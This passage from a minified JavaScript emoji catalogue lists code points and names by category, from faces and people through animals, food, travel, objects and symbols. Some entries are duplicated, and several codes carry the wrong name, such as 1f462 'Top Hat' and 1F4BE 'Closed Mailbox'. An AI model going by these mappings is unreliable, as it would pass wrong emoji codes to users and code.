Mouth"},{code:"1f62f",desc:"Hushed Face"},{code:"1f62a",desc:"Sleepy Face"},{code:"1f62b",desc:"Tired Face"},{code:"1f634",desc:"Sleeping Face"},{code:"1f60c",desc:"Relieved Face"},{code:"1f61b",desc:"Face with Stuck-out Tongue"},{code:"1f61c",desc:"Face with Stuck-out Tongue and Winking Eye"},{code:"1f61d",desc:"Face with Stuck-out Tongue and Tightly-Closed Eyes"},{code:"1f612",desc:"Unamused Face"},{code:"1f613",desc:"Face with Cold Sweat"},{code:"1f613",desc:"Face with Cold Sweat"},{code:"1f614",desc:"Pensive Face"},{code:"1f615",desc:"Confused Face"},{code:"1f632",desc:"Astonished Face"},{code:"1f616",desc:"Confounded Face"},{code:"1f61e",desc:"Disappointed Face"},{code:"1f61f",desc:"Worried Face"},{code:"1f624",desc:"Face with Look of Triumph"},{code:"1f622",desc:"Crying Face"},{code:"1f62d",desc:"Loudly Crying Face"},{code:"1f626",desc:"Frowning Face with Open Mouth"},{code:"1f627",desc:"Anguished Face"},{code:"1f628",desc:"Fearful Face"},{code:"1f629",desc:"Weary Face"},{code:"1f62c",desc:"Grimacing Face"},{code:"1f630",desc:"Face with Open Mouth and Cold Sweat"},{code:"1f631",desc:"Face Screaming in Fear"},{code:"1f633",desc:"Flushed Face"},{code:"1f635",desc:"Dizzy Face"},{code:"1f621",desc:"Pouting Face"},{code:"1f620",desc:"Angry Face"},{code:"1f637",desc:"Face with Medical Mask"},{code:"1f607",desc:"Smiling Face with Halo"},{code:"1f608",desc:"Smiling Face with Horns"},{code:"1f47f",desc:"Imp"},{code:"1f479",desc:"Japanese Ogre"},{code:"1f47a",desc:"Japanese Goblin"},{code:"1f480",desc:"Skull"},{code:"1f47b",desc:"Ghost"},{code:"1f47d",desc:"Extraterrestrial Alien"},{code:"1f47e",desc:"Alien Monster"},{code:"1f4a9",desc:"Pile of Poo"},{code:"1f63a",desc:"Smiling Cat Face with Open Mouth"},{code:"1f638",desc:"Grinning Cat Face with Smiling Eyes"},{code:"1f639",desc:"Cat Face with Tears of Joy"},{code:"1f63b",desc:"Smiling Cat Face with Heart-Shaped Eyes"},{code:"1f63c",desc:"Cat Face with Wry Smile"},{code:"1f63d",desc:"Kissing Cat Face with Closed Eyes"},{code:"1f640",desc:"Weary Cat Face"},{code:"1f63f",desc:"Crying Cat Face"},{code:"1f63e",desc:"Pouting Cat Face"},{code:"1f648",desc:"See-No-Evil Monkey"},{code:"1f649",desc:"Hear-No-Evil Monkey"},{code:"1f64a",desc:"Speak-No-Evil Monkey"},{code:"1f476",desc:"Baby"},{code:"1f466",desc:"Boy"},{code:"1f467",desc:"Girl"},{code:"1f468",desc:"Man"},{code:"1f469",desc:"Woman"},{code:"1f474",desc:"Older Man"},{code:"1f475",desc:"Older Woman"},{code:"1f46e",desc:"Police Officer"},{code:"1f482",desc:" Guardsman"},{code:"1f477",desc:" Construction Worker"},{code:"1f478",desc:"Princess"},{code:"1f473",desc:"Man with Turban"},{code:"1f472",desc:"Man with Gua Pi Mao"},{code:"1f471",desc:"Person with Blond Hair"},{code:"1f470",desc:"Bride with Veil"},{code:"1f47c",desc:"Baby Angel"},{code:"1f385",desc:"Father Christmas"},{code:"1f64e",desc:"Person with Pouting Face"},{code:"1f645",desc:"Face with No Good Gesture"},{code:"1f646",desc:"Face with Ok Gesture"},{code:"1f481",desc:"Information Desk Person"},{code:"1f64b",desc:"Happy Person Raising One Hand"},{code:"1f647",desc:"Person Bowing Deeply"},{code:"1f486",desc:"Face Massage"},{code:"1f487",desc:"Haircut"},{code:"1f6b6",desc:"Pedestrian"},{code:"1f3c3",desc:"Runner"},{code:"1f483",desc:"Dancer"},{code:"1f46f",desc:"Woman with Bunny Ears"},{code:"1f6c0",desc:"Bath"},{code:"1f464",desc:"Bust in Silhouette"},{code:"1f465",desc:"Busts in Silhouette"},{code:"1f3c7",desc:"Horse Racing"},{code:"1f3c2",desc:" Snowboarder"},{code:"1f3c4",desc:" Surfer"},{code:"1f6a3",desc:" Rowboat"},{code:"1f3ca",desc:" Swimmer"},{code:"1f6b4",desc:" Bicyclist"},{code:"1f6b5",desc:"Mountain Bicyclist"},{code:"1f46b",desc:" Man and Woman Holding Hands"},{code:"1f46c",desc:"Two Men Holding Hands"},{code:"1f46d",desc:"Two Women Holding Hands"},{code:"1f48f",desc:"Kiss"},{code:"1f468-2764-1f48b-1f468",uCode:"\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68",desc:"Man Kiss Man"},{code:"1f469-2764-1f48b-1f469",uCode:"\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud83d\udc69",desc:"Woman Kiss Woman"},{code:"1f491",desc:"Couple with Heart"},{code:"1f468-2764-1f468",uCode:"\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc68",desc:"Man Heart Man"},{code:"1f469-2764-1f469",uCode:"\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud83d\udc69",desc:"Woman Heart Woman"},{code:"1f46a",desc:"Family"},{code:"1f468",desc:"Man Woman Boy"},{code:"1f468-1f469-1f467",desc:"Man Woman Girl"},{code:"1f468-1f469-1f467-1f466",desc:"Man Woman Girl Boy"},{code:"1f468-1f469-1f466-1f466",desc:"Man Woman Boy Boy"},{code:"1f468-1f469-1f467-1f467",desc:"Man Woman Girl Girl"},{code:"1f468-1f468-1f466",desc:"Man Man Boy"},{code:"1f468-1f468-1f467",desc:"Man Man Girl"},{code:"1f468-1f468-1f467-1f466",desc:"Man Man Girl Boy"},{code:"1f468-1f468-1f466-1f466",desc:"Man Man Boy Boy"},{code:"1f469-1f469-1f466",desc:"Woman Woman Boy"},{code:"1f469-1f469-1f467",desc:"Woman Woman Girl"},{code:"1f469-1f469-1f467-1f466",desc:"Woman Woman Girl Boy"},{code:"1f469-1f469-1f467-1f467",desc:"Woman Woman Girl Girl"},{code:"1f4aa",desc:"Flexed Biceps"},{code:"1f448",desc:"White Left Pointing Backhand Index"},{code:"1f449",desc:"White Right Pointing Backhand Index"},{code:"1f446",desc:"White Up Pointing Backhand Index"},{code:"1f447",desc:"White Down Pointing Backhand Index"},{code:"270c",desc:"Victory Hand"},{code:"270b",desc:"Raised Hand"},{code:"1f44c",desc:"Ok Hand Sign"},{code:"1f44d",desc:"Thumbs Up Sign"},{code:"1f44e",desc:"Thumbs Down Sign"},{code:"270a",desc:"Raised Fist"},{code:"1f44a",desc:"Fisted Hand Sign"},{code:"1f44b",desc:"Waving Hand Sign"},{code:"1f44f",desc:"Clapping Hands Sign"},{code:"1f450",desc:"Open Hands Sign"},{code:"1f64c",desc:"Person Raising Both Hands in Celebration"},{code:"1f64f",desc:"Person with Folded Hands"},{code:"1f485",desc:"Nail Polish"},{code:"1f442",desc:"Ear"},{code:"1f443",desc:"Nose"},{code:"1f463",desc:"Footprints"},{code:"1f440",desc:"Eyes"},{code:"1f445",desc:"Tongue"},{code:"1f444",desc:"Mouth"},{code:"1f48b",desc:"Kiss Mark"},{code:"1f498",desc:"Heart with Arrow"},{code:"2764",desc:"Heavy Black Heart"},{code:"1f493",desc:"Heavy Black Heart"},{code:"1f494",desc:"Broken Heart"},{code:"1f495",desc:"Two Hearts"},{code:"1f496",desc:"Sparkling Hearts"},{code:"1f497",desc:"Growing Hearts"},{code:"1f499",desc:"Blue Heart"},{code:"1f49a",desc:"Green Heart"},{code:"1f49b",desc:"Yellow Heart"},{code:"1f49c",desc:"Purple Heart"},{code:"1f49d",desc:"Heart with Ribbon"},{code:"1f49e",desc:"Revolving Hearts"},{code:"1f49f",desc:"Heart Decoration"},{code:"1f48c",desc:"Love Letter"},{code:"1f4a4",desc:"Sleeping Symbol"},{code:"1f4a2",desc:"Anger Symbol"},{code:"1f4a3",desc:"Bomb"},{code:"1f4a5",desc:"Collision Symbol"},{code:"1f4a6",desc:"Splashing Sweat Symbol"},{code:"1f4a8",desc:"Dash Symbol"},{code:"1f4ab",desc:"Dizzy Symbol"},{code:"1f4ab",desc:"Dizzy Symbol"},{code:"1f4ac",desc:"Speech Balloon"},{code:"1f4ad",desc:"Thought Balloon"},{code:"1f453",desc:"Eyeglasses"},{code:"1f454",desc:"Necktie"},{code:"1f455",desc:"T-Shirt"},{code:"1f456",desc:"Jeans"},{code:"1f457",desc:"Dress"},{code:"1f458",desc:"Kimono"},{code:"1f459",desc:"Bikini"},{code:"1f45a",desc:"Womans Clothes"},{code:"1f45b",desc:"Purse"},{code:"1f45c",desc:"Handbag"},{code:"1f45d",desc:"Pouch"},{code:"1f392",desc:"School Satchel"},{code:"1f45e",desc:"Mans Shoe"},{code:"1f45f",desc:"Athletic Shoe"},{code:"1f460",desc:"High-Heeled Shoe"},{code:"1f461",desc:"Womans Sandal"},{code:"1f462",desc:"Womans Boots"},{code:"1f451",desc:"Crown"},{code:"1f452",desc:"Womans Hat"},{code:"1f462",desc:"Top Hat"},{code:"1f393",desc:"Graduation Cap"},{code:"1f484",desc:"Lipstick"},{code:"1f48d",desc:"Ring"},{code:"1f48e",desc:"Gem Stone"}]},{id:"nature",name:"Animals & Nature",code:"1F435",emoticons:[{code:"1F435",desc:"Monkey Face"},{code:"1F412",desc:"Monkey"},{code:"1F436",desc:"Dog Face"},{code:"1F415",desc:"Dog"},{code:"1F429",desc:"Poodle"},{code:"1F43A",desc:"Wolf Face"},{code:"1F431",desc:"Cat Face"},{code:"1F408",desc:"Cat"},{code:"1F42F",desc:"Tiger Face"},{code:"1F405",desc:"Tiger"},{code:"1F406",desc:"Leopard"},{code:"1F434",desc:"Horse Face"},{code:"1F40E",desc:"Horse"},{code:"1F42E",desc:"Cow Face"},{code:"1F402",desc:"Ox"},{code:"1F403",desc:"Water Buffalo"},{code:"1F404",desc:"Cow"},{code:"1F437",desc:"Pig Face"},{code:"1F416",desc:"Pig"},{code:"1F417",desc:"Boar"},{code:"1F43D",desc:"Pig Nose"},{code:"1F40F",desc:"Ram"},{code:"1F411",desc:"Sheep"},{code:"1F410",desc:"Goat"},{code:"1F42A",desc:"Dromedary Camel"},{code:"1F42B",desc:"Bactrian Camel"},{code:"1F418",desc:"Elephant"},{code:"1F42D",desc:"Mouse Face"},{code:"1F401",desc:"Mouse"},{code:"1F400",desc:"Rat"},{code:"1F439",desc:"Hamster Face"},{code:"1F430",desc:"Rabbit Face"},{code:"1F407",desc:"Rabbit"},{code:"1F43B",desc:"Bear Face"},{code:"1F428",desc:"Koala"},{code:"1F43C",desc:"Panda Face"},{code:"1F43E",desc:"Paw Prints"},{code:"1F414",desc:"Chicken"},{code:"1F413",desc:"Rooster"},{code:"1F423",desc:"Hatching Chick"},{code:"1F424",desc:"Baby Chick"},{code:"1F425",desc:"Front-Facing Baby Chick"},{code:"1F426",desc:"Bird"},{code:"1F427",desc:"Penguin"},{code:"1F438",desc:"Frog Face"},{code:"1F40A",desc:"Crocodile"},{code:"1F422",desc:"Turtle"},{code:"1F40D",desc:"Snake"},{code:"1F432",desc:"Dragon Face"},{code:"1F409",desc:"Dragon"},{code:"1F433",desc:"Spouting Whale"},{code:"1F40B",desc:"Whale"},{code:"1F42C",desc:"Dolphin"},{code:"1F41F",desc:"Fish"},{code:"1F420",desc:"Tropical Fish"},{code:"1F421",desc:"Blowfish"},{code:"1F419",desc:"Octopus"},{code:"1F41A",desc:"Spiral Shell"},{code:"1F40C",desc:"Snail"},{code:"1F41B",desc:"Bug"},{code:"1F41C",desc:"Ant"},{code:"1F41D",desc:"Honeybee"},{code:"1F41E",desc:"Lady Beetle"},{code:"1F490",desc:"Bouquet"},{code:"1F338",desc:"Cherry Blossom"},{code:"1F4AE",desc:"White Flower"},{code:"1F339",desc:"Rose"},{code:"1F33A",desc:"Hibiscus"},{code:"1F33B",desc:"Sunflower"},{code:"1F33C",desc:"Blossom"},{code:"1F337",desc:"Tulip"},{code:"1F331",desc:"Seedling"},{code:"1F332",desc:"Evergreen Tree"},{code:"1F333",desc:"Deciduous Tree"},{code:"1F334",desc:"Palm Tree"},{code:"1F335",desc:"Cactus"},{code:"1F33E",desc:"Ear of Rice"},{code:"1F33F",desc:"Herb"},{code:"2618",desc:"Four Leaf Clover"},{code:"1F341",desc:"Maple Leaf"},{code:"1F342",desc:"Fallen Leaf"},{code:"1F343",desc:"Leaf Fluttering in Wind"}]},{id:"foods",name:"Food & Drink",code:"1F347",emoticons:[{code:"1F347",desc:"Grapes"},{code:"1F348",desc:"Melon"},{code:"1F349",desc:"Watermelon"},{code:"1F34A",desc:"Tangerine"},{code:"1F34B",desc:"Lemon"},{code:"1F34C",desc:"Banana"},{code:"1F34D",desc:"Pineapple"},{code:"1F34E",desc:"Red Apple"},{code:"1F34F",desc:"Green Apple"},{code:"1F350",desc:"Pear"},{code:"1F351",desc:"Peach"},{code:"1F352",desc:"Cherries"},{code:"1F353",desc:"Strawberry"},{code:"1F345",desc:"Tomato"},{code:"1F346",desc:"Aubergine"},{code:"1F33D",desc:"Ear of Maize"},{code:"1F344",desc:"Mushroom"},{code:"1F330",desc:"Chestnut"},{code:"1F35E",desc:"Bread"},{code:"1F356",desc:"Meat on Bone"},{code:"1F357",desc:"Poultry Leg"},{code:"1F354",desc:"Hamburger"},{code:"1F35F",desc:"French Fries"},{code:"1F355",desc:"Slice of Pizza"},{code:"1F373",desc:"Cooking"},{code:"1F372",desc:"Pot of Food"},{code:"1F371",desc:"Bento Box"},{code:"1F358",desc:"Rice Cracker"},{code:"1F359",desc:"Rice Ball"},{code:"1F35A",desc:"Cooked Rice"},{code:"1F35B",desc:"Curry and Rice"},{code:"1F35C",desc:"Steaming Bowl"},{code:"1F35D",desc:"Spaghetti"},{code:"1F360",desc:"Roasted Sweet Potato"},{code:"1F362",desc:"Oden"},{code:"1F363",desc:"Sushi"},{code:"1F364",desc:"Fried Shrimp"},{code:"1F365",desc:"Fish Cake with Swirl Design"},{code:"1F361",desc:"Dango"},{code:"1F366",desc:"Soft Ice Cream"},{code:"1F367",desc:"Shaved Ice"},{code:"1F368",desc:"Ice Cream"},{code:"1F369",desc:"Doughnut"},{code:"1F36A",desc:"Cookie"},{code:"1F382",desc:"Birthday Cake"},{code:"1F370",desc:"Shortcake"},{code:"1F36B",desc:"Chocolate Bar"},{code:"1F36C",desc:"Candy"},{code:"1F36D",desc:"Lollipop"},{code:"1F36E",desc:"Custard"},{code:"1F36F",desc:"Honey Pot"},{code:"1F37C",desc:"Baby Bottle"},{code:"2615",desc:"Hot Beverage"},{code:"1F375",desc:"Teacup Without Handle"},{code:"1F376",desc:"Sake Bottle and Cup"},{code:"1F377",desc:"Wine Glass"},{code:"1F378",desc:"Cocktail Glass"},{code:"1F379",desc:"Tropical Drink"},{code:"1F37A",desc:"Beer Mug"},{code:"1F37B",desc:"Clinking Beer Mugs"},{code:"1F374",desc:"Fork and Knife"},{code:"1F52A",desc:"Hocho"}]},{id:"activity",name:"Activities",code:"1f383",emoticons:[{code:"1f383",desc:" Jack-O-Lantern"},{code:"1f384",desc:"Christmas Tree"},{code:"1f386",desc:" Fireworks"},{code:"1f387",desc:"Firework Sparkler"},{code:"2728",desc:" Sparkles"},{code:"1f388",desc:"Balloon"},{code:"1f389",desc:"Party Popper"},{code:"1f38a",desc:"Confetti Ball"},{code:"1f38b",desc:"Tanabata Tree"},{code:"1f38d",desc:"Pine Decoration"},{code:"1f38e",desc:"Japanese Dolls"},{code:"1f38f",desc:"Carp Streamer"},{code:"1f390",desc:"Wind Chime"},{code:"1f391",desc:"Moon Viewing Ceremony"},{code:"1f380",desc:"Ribbon"},{code:"1f381",desc:"Wrapped Present"},{code:"1f3ab",desc:"Ticket"},{code:"1f3c6",desc:"Trophy"},{code:"1f388",desc:"Balloon"},{code:"26bd",desc:"Soccer Ball"},{code:"26be",desc:"Baseball"},{code:"1f3c0",desc:"Basketball and Hoop"},{code:"1f3c8",desc:"American Football"},{code:"1f3c9",desc:"Rugby Football"},{code:"1f3be",desc:"Tennis Racquet and Ball"},{code:"1f3b1",desc:"Billiards"},{code:"1f3b3",desc:"Bowling"},{code:"1f3af",desc:"Direct Hit"},{code:"26f3",desc:"Flag in Hole"},{code:"1f3a3",desc:"Fishing Pole and Fish"},{code:"1f3bd",desc:"Running Shirt with Sash"},{code:"1f3bf",desc:"Ski and Ski Boot"},{code:"1f3ae",desc:"Video Game"},{code:"1f3b2",desc:"Game Die"},{code:"2660",desc:"Black Spade Suit"},{code:"2665",desc:"Black Heart SuiT"},{code:"2666",desc:"Black Diamond Suit"},{code:"2663",desc:"Black Club Suit"},{code:"1f0cf",desc:"Playing Card Black Joker"},{code:"1f004",desc:"Mahjong Tile Red Dragon"},{code:"1f3b4",desc:"Flower Playing Cards"}]},{id:"places",name:"Travel & Places",code:"1f30d",emoticons:[{code:"1f30d",desc:"Earth Globe Europe-Africa"},{code:"1f30e",desc:"Earth Globe Americas"},{code:"1f30f",desc:"Earth Globe Asia-Australia"},{code:"1f310",desc:"Globe with Meridians"},{code:"1f5fe",desc:"Silhouette of Japan"},{code:"1f30b",desc:"Volcano"},{code:"1f5fb",desc:"Mount Fuji"},{code:"1f3e0",desc:"House Building"},{code:"1f3e1",desc:"House with Garden"},{code:"1f3e2",desc:"Office Building"},{code:"1f3e3",desc:"Japanese Post Office"},{code:"1f3e4",desc:"European Post Office"},{code:"1f3e5",desc:"Hospital"},{code:"1f3e6",desc:"Bank"},{code:"1f3e8",desc:"Hotel"},{code:"1f3e9",desc:"Love Hotel"},{code:"1f3ea",desc:"Convenience Store"},{code:"1f3eb",desc:"School"},{code:"1f3ec",desc:"Department Store"},{code:"1f3ed",desc:"Factory"},{code:"1f3ef",desc:"Japanese Castle"},{code:"1f3f0",desc:"European Castle"},{code:"1f492",desc:"Wedding"},{code:"1f5fc",desc:"Tokyo Tower"},{code:"1f5fd",desc:"Statue of Liberty"},{code:"26ea",desc:"Church"},{code:"26f2",desc:"Fountain"},{code:"26fa",desc:"Tent"},{code:"1f301",desc:"Foggy"},{code:"1f303",desc:"Night with Stars"},{code:"1f304",desc:"Sunrise over Mountains"},{code:"1f305",desc:"Sunrise"},{code:"1f306",desc:"Cityscape at Dusk"},{code:"1f307",desc:"Sunset over Buildings"},{code:"1f309",desc:"Bridge at Night"},{code:"2668",desc:"Hot Springs"},{code:"1f30c",desc:"Milky Way"},{code:"1f3a0",desc:"Carousel Horse"},{code:"1f3a1",desc:"Ferris Wheel"},{code:"1f3a2",desc:"Roller Coaster"},{code:"1f488",desc:"Barber Pole"},{code:"1f3aa",desc:"Circus Tent"},{code:"1f3ad",desc:"Performing Arts"},{code:"1f3a8",desc:"Artist Palette"},{code:"1f3b0",desc:"Slot Machine"},{code:"1f682",desc:"Steam Locomotive"},{code:"1f683",desc:"Railway Car"},{code:"1f684",desc:"High-Speed Train"},{code:"1f685",desc:"High-Speed Train with Bullet Nose"},{code:"1f686",desc:"Train"},{code:"1f687",desc:"Metro"},{code:"1f688",desc:"Light Rail"},{code:"1f689",desc:"Station"},{code:"1f68a",desc:"Tram"},{code:"1f69d",desc:"Monorail"},{code:"1f69e",desc:"Mountain Railway"},{code:"1f68b",desc:"Tram Car"},{code:"1f68c",desc:"Bus"},{code:"1f68d",desc:"Oncoming Bus"},{code:"1f68e",desc:"Trolleybus"},{code:"1f690",desc:"Minibus"},{code:"1f691",desc:"Ambulance"},{code:"1f692",desc:"Fire Engine"},{code:"1f693",desc:"Police Car"},{code:"1f694",desc:"Oncoming Police Car"},{code:"1f695",desc:"Taxi"},{code:"1f695",desc:"Oncoming Taxi"},{code:"1f697",desc:"Automobile"},{code:"1f698",desc:"Oncoming Automobile"},{code:"1f699",desc:"Recreational Vehicle"},{code:"1f69a",desc:"Delivery Truck"},{code:"1f69b",desc:"Articulated Lorry"},{code:"1f69c",desc:"Tractor"},{code:"1f6b2",desc:"Bicycle"},{code:"1f68f",desc:"Bus Stop"},{code:"26fd",desc:"Fuel Pump"},{code:"1f6a8",desc:"Police Cars Revolving Light"},{code:"1f6a5",desc:"Horizontal Traffic Light"},{code:"1f6a6",desc:"Vertical Traffic Light"},{code:"1f6a7",desc:"Construction Sign"},{code:"2693",desc:"Anchor"},{code:"26f5",desc:"Sailboat"},{code:"1f6a4",desc:"Speedboat"},{code:"1f6a2",desc:"Ship"},{code:"2708",desc:"Airplane"},{code:"1f4ba",desc:"Seat"},{code:"1f681",desc:"Helicopter"},{code:"1f69f",desc:"Suspension Railway"},{code:"1f6a0",desc:"Mountain Cableway"},{code:"1f6a1",desc:"Aerial Tramway"},{code:"1f680",desc:"Rocket"},{code:"1f6aa",desc:"Door"},{code:"1f6bd",desc:"Toilet"},{code:"1f6bf",desc:"Shower"},{code:"1f6c1",desc:"Bathtub"},{code:"231b",desc:"Hourglass"},{code:"23f3",desc:"Hourglass with Flowing Sand"},{code:"231a",desc:"Watch"},{code:"23f0",desc:"Alarm Clock"},{code:"1f55b",desc:"Clock Face Twelve Oclock"},{code:"1f567",desc:"Clock Face Twelve-Thirty"},{code:"1f550",desc:"Clock Face One Oclock"},{code:"1f55c",desc:"Clock Face One-thirty"},{code:"1f551",desc:"Clock Face Two Oclock"},{code:"1f55d",desc:"Clock Face Two-thirty"},{code:"1f552",desc:"Clock Face Three Oclock"},{code:"1f55e",desc:"Clock Face Three-thirty"},{code:"1f553",desc:"Clock Face Four Oclock"},{code:"1f55f",desc:"Clock Face Four-thirty"},{code:"1f554",desc:"Clock Face Five Oclock"},{code:"1f560",desc:"Clock Face Five-thirty"},{code:"1f555",desc:"Clock Face Six Oclock"},{code:"1f561",desc:"Clock Face Six-thirty"},{code:"1f556",desc:"Clock Face Seven Oclock"},{code:"1f562",desc:"Clock Face Seven-thirty"},{code:"1f557",desc:"Clock Face Eight Oclock"},{code:"1f563",desc:"Clock Face Eight-thirty"},{code:"1f558",desc:"Clock Face Nine Oclock"},{code:"1f564",desc:"Clock Face Nine-thirty"},{code:"1f559",desc:"Clock Face Ten Oclock"},{code:"1f565",desc:"Clock Face Ten-thirty"},{code:"1f55a",desc:"Clock Face Eleven Oclock"},{code:"1f566",desc:"Clock Face Eleven-thirty"},{code:"1f311",desc:"New Moon Symbol"},{code:"1f312",desc:"Waxing Crescent Moon Symbol"},{code:"1f313",desc:"First Quarter Moon Symbol"},{code:"1f314",desc:"Waxing Gibbous Moon Symbol"},{code:"1f315",desc:"Full Moon Symbol"},{code:"1f316",desc:"Waning Gibbous Moon Symbol"},{code:"1f317",desc:"Last Quarter Moon Symbol"},{code:"1f318",desc:"Waning Crescent Moon Symbol"},{code:"1f319",desc:"Crescent Moon"},{code:"1f31a",desc:"New Moon with Face"},{code:"1f31b",desc:"First Quarter Moon with Face"},{code:"1f31c",desc:"Last Quarter Moon with Face"},{code:"2600",desc:"Black Sun with Rays"},{code:"1f31d",desc:"Full Moon with Face"},{code:"1f31e",desc:"Sun with Face"},{code:"2b50",desc:"White Medium Star"},{code:"1f31f",desc:"Glowing Star"},{code:"1f320",desc:"Shooting Star"},{code:"2601",desc:"Cloud"},{code:"26c5",desc:"Sun Behind Cloud"},{code:"1f300",desc:"Cyclone"},{code:"1f308",desc:"Rainbow"},{code:"1f302",desc:"Closed Umbrella"},{code:"2614",desc:"Umbrella with Rain Drops"},{code:"26a1",desc:"High Voltage Sign"},{code:"2744",desc:"Snowflake"},{code:"2603",desc:"Snowman Without Snow"},{code:"1f525",desc:"Fire"},{code:"1f4a7",desc:"Droplet"},{code:"1F30A",desc:"Water Wave"}]},{id:"objects",name:"Objects",code:"1F507",emoticons:[{code:"1F507",desc:"Speaker with Cancellation Stroke"},{code:"1F508",desc:"Speaker"},{code:"1F509",desc:"Speaker with One Sound Wave"},{code:"1F50A",desc:"Speaker with Three Sound Wave"},{code:"1F4E2",desc:"Public Address Loudspeaker"},{code:"1F4E3",desc:"Cheering Megaphone"},{code:"1F4EF",desc:"Postal Horn"},{code:"1F514",desc:"Bell"},{code:"1F515",desc:"Bell with Cancellation Stroke"},{code:"1F3BC",desc:"Musical Score"},{code:"1F3B5",desc:"Musical Note"},{code:"1F3B6",desc:"Multiple Musical Notes"},{code:"1F3A4",desc:"Microphone"},{code:"1F3A7",desc:"Headphone"},{code:"1F4FB",desc:"Radio"},{code:"1F3B7",desc:"Saxophone"},{code:"1F3B8",desc:"Guitar"},{code:"1F3B9",desc:"Musical Keyboard"},{code:"1F3BA",desc:"Trumpet"},{code:"1F3BB",desc:"Violin"},{code:"1F4F1",desc:"Mobile Phone"},{code:"1F4F2",desc:"Mobile Phone with Rightwards Arrow at Left"},{code:"260E",desc:"Black Telephone"},{code:"1F4DE",desc:"Telephone Receiver"},{code:"1F4DF",desc:"Pager"},{code:"1F4E0",desc:"Fax Machine"},{code:"1F50B",desc:"Battery"},{code:"1F50C",desc:"Electric Plug"},{code:"1F4BB",desc:"Personal Computer"},{code:"1F4BD",desc:"Minidisc"},{code:"1F4BE",desc:"Floppy Disk"},{code:"1F4BF",desc:"Optical Disk"},{code:"1F4C0",desc:"Dvd"},{code:"1F3A5",desc:"Movie Camera"},{code:"1F3AC",desc:"Clapper Board"},{code:"1F4FA",desc:"Television"},{code:"1F4F7",desc:"Camera"},{code:"1F4F9",desc:"Video Camera"},{code:"1F4FC",desc:"Videocassette"},{code:"1F50D",desc:"Left-Pointing Magnifying Glass"},{code:"1F50E",desc:"Right-Pointing Magnifying Glass"},{code:"1F52C",desc:"Microscope"},{code:"1F52D",desc:"Telelscope"},{code:"1F4E1",desc:"Satellite Antenna"},{code:"1F4A1",desc:"Electric Light Bulb"},{code:"1F526",desc:"Electric Torch"},{code:"1F3EE",desc:"Izakaya Lantern"},{code:"1F4D4",desc:"Notebook with Decorative Cover"},{code:"1F4D5",desc:"Closed Book"},{code:"1F4D6",desc:"Open Book"},{code:"1F4D7",desc:"Green Book"},{code:"1F4D8",desc:"Blue Book"},{code:"1F4D9",desc:"Orange Book"},{code:"1F4DA",desc:"Books"},{code:"1F4D3",desc:"Notebook"},{code:"1F4D2",desc:"Ledger"},{code:"1F4C3",desc:"Curl"},{code:"1F4DC",desc:"Scroll"},{code:"1F4C4",desc:"Page Facing Up"},{code:"1F4F0",desc:"Newspaper"},{code:"1F4D1",desc:"Bookmark Tabs"},{code:"1F516",desc:"Bookmark"},{code:"1F4B0",desc:"Money Bag"},{code:"1F4B4",desc:"Banknote with Yen Sign"},{code:"1F4B5",desc:"Banknote with Dollar Sign"},{code:"1F4B6",desc:"Banknote with Euro Sign"},{code:"1F4B7",desc:"Banknote with Pound Sign"},{code:"1F4B8",desc:"Money with Wings"},{code:"1F4B3",desc:"Credit Card"},{code:"1F4B9",desc:"Chart with Upwards Trend and Yen Sign"},{code:"1F4B1",desc:"Currency Exchange"},{code:"1F4B2",desc:"Heavy Dollar Sign"},{code:"2709",desc:"Envelope"},{code:"1F4E7",desc:"E-Mail Symbol"},{code:"1F4E8",desc:"Incoming Envelope"},{code:"1F4E9",desc:"Envelope with Downwards Arrow Above"},{code:"1F4E4",desc:"Outbox Tray"},{code:"1F4E5",desc:"Inbox Tray"},{code:"1F4E6",desc:"Package"},{code:"1F4BE",desc:"Closed Mailbox with Raised Flag"},{code:"1F4EA",desc:"Closed Mailbox with Lowered Flag"},{code:"1F4EC",desc:"Open Mailbox with Raised Flag"},{code:"1F4ED",desc:"Open Mailbox with Lowered Flag"},{code:"1F5F3",desc:"Postbox"},{code:"270F",desc:"Pencil"},{code:"2712",desc:"Black Nib"},{code:"1F4DD",desc:"Memo"},{code:"1F4BC",desc:"Briefcase"},{code:"1F4C1",desc:"File Folder"},{code:"1F4C2",desc:"Open File Folder"},{code:"1F4C5",desc:"Calender"},{code:"1F4C6",desc:"Tear-off Calender"},{code:"1F4C7",desc:"Card Index"},{code:"1F4C8",desc:"Chart with Upwards Trend"},{code:"1F4C9",desc:"Chart with Downwards Trend"},{code:"1F4CA",desc:"Bar Chart"},{code:"1F4CB",desc:"Clipboard"},{code:"1F4CC",desc:"Pushpin"},{code:"1F4CD",desc:"Round Pushpin"},{code:"1F4CE",desc:"Paperclip"},{code:"1F4CF",desc:"Straight Ruler"},{code:"1F4D0",desc:"Triangular Ruler"},{code:"2702",desc:"Black Scissors"},{code:"1F512",desc:"Lock"},{code:"1F513",desc:"Open Lock"},{code:"1F50F",desc:"Lock with Ink Pen"},{code:"1F510",desc:"Closed Lock with Key"},{code:"1F511",desc:"Key"},{code:"1F528",desc:"Hammer"},{code:"1F52B",desc:"Pistol"},{code:"1F527",desc:"Wrench"},{code:"1F529",desc:"Nut and Bolt"},{code:"1F517",desc:"Link Symbol"},{code:"1F489",desc:"Syringe"},{code:"1F48A",desc:"Pill"},{code:"1F6AC",desc:"Smoking Symbol"},{code:"1F5FF",desc:"Moyai"},{code:"1F52E",desc:"Crystal Ball"}]},{id:"symbols",name:"Symbols",code:"1F3E7",emoticons:[{code:"1F3E7",desc:"Automated Teller Machine"},{code:"1F6AE",desc:"Put Litter in Its Place Symbol"},{code:"1F6B0",desc:"Potable Water Symbol"},{code:"267F",desc:"Wheelchair Symbol"},{code:"1F6B9",desc:"Mens Symbol"},{code:"1F6BA",desc:"Womens Symbol"},{code:"1F6BB",desc:"Restroom"},{code:"1F6BC",desc:"Baby Symbol"},{code:"1F6BE",desc:"Water Closet"},{code:"1F6C2",desc:"Passport Control"},{code:"1F6C3",desc:"Customs"},{code:"1F6C4",desc:"Baggage Claim"},{code:"1F6C5",desc:"Left Luggage"},{code:"26A0",desc:"Warning Sign"},{code:"1F6B8",desc:"Children Crossing"},{code:"26D4",desc:"No Entry"},{code:"1F6AB",desc:"No Entry Sign"},{code:"1F6B3",desc:"No Bicycles"},{code:"1F6AD",desc:"No Smoking Symbol"},{code:"1F6AF",desc:"Do Not Litter Symbol"},{code:"1F6B1",desc:"Non-Potable Water 